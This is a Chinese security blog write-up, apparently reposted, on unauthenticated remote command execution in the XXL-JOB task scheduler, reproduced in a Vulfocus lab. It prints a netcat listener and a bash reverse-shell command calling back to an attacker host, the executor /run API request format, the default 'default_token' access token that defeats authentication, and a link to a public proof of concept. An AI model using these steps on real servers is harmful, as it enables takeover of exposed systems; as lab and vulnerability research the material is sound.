XXL-JOB远程命令执行

admin 2024年3月27日23:50:55评论9 views字数 1276阅读4分15秒阅读模式

XXL-JOB是一个轻量级分布式任务调度平台,用于实现大规模任务的调度和执行。
先前版本的XXL-JOB默认情况下API接口没有配置认证措施,现已加入accessToken,但公网仍然有大量使用默认token的机器。未授权的攻击者可构造恶意请求,触发反序列化,造成远程执行命令,直接控制服务器。

老版本复现

老版本没有添加header中的token认证,可以直接RCE
使用Vulfocus提供的靶场环境,flag位于/tmp目录下
XXL-JOB远程命令执行
攻击机nc监听8888端口nc -lvn 8888
XXL-JOB远程命令执行
靶机执行/bin/bash -i >& /dev/tcp/172.17.0.1/8888 0>&1反弹shell
根据文档给出的执行器API,构造如下请求
XXL-JOB远程命令执行
成功反弹shell,执行命令获取flag
XXL-JOB远程命令执行

文档地址

https://www.xuxueli.com/xxl-job/

说明:触发任务执行
------
地址格式:{执行器内嵌服务根地址}/run
Header:
    XXL-JOB-ACCESS-TOKEN : {请求令牌}
请求数据格式如下,放置在 RequestBody 中,JSON格式:
    {
        "jobId":1,                                  // 任务ID
        "executorHandler":"demoJobHandler",         // 任务标识
        "executorParams":"demoJobHandler",          // 任务参数
        "executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
        "executorTimeout":0,                        // 任务超时时间,单位秒,大于零时生效
        "logId":1,                                  // 本次调度日志ID
        "logDateTime":1586629003729,                // 本次调度日志时间
        "glueType":"BEAN",                          // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum
        "glueSource":"xxx",                         // GLUE脚本代码
        "glueUpdatetime":1586629003727,             // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
        "broadcastIndex":0,                         // 分片参数:当前分片
        "broadcastTotal":0                          // 分片参数:总分片
    }
响应数据格式:
    {
      "code": 200,      // 200 表示正常、其他失败
      "msg": null       // 错误提示消息
    }

默认token

配置文件位于/xxl-job-admin/src/main/resources/application.properties
默认token的值xxl.job.accessToken=default_token
在老版基础上添加一个XXL-JOB-ACCESS-TOKEN: default_token的header即可实现RCE

PoC

老版PoC, 需要自行修改代码添加header: https://github.com/mrknow001/xxl-job-rce

- source:flyd.uk

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月27日23:50:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXL-JOB远程命令执行https://cn-sec.com/archives/2610222.html

发表评论

匿名网友 填写信息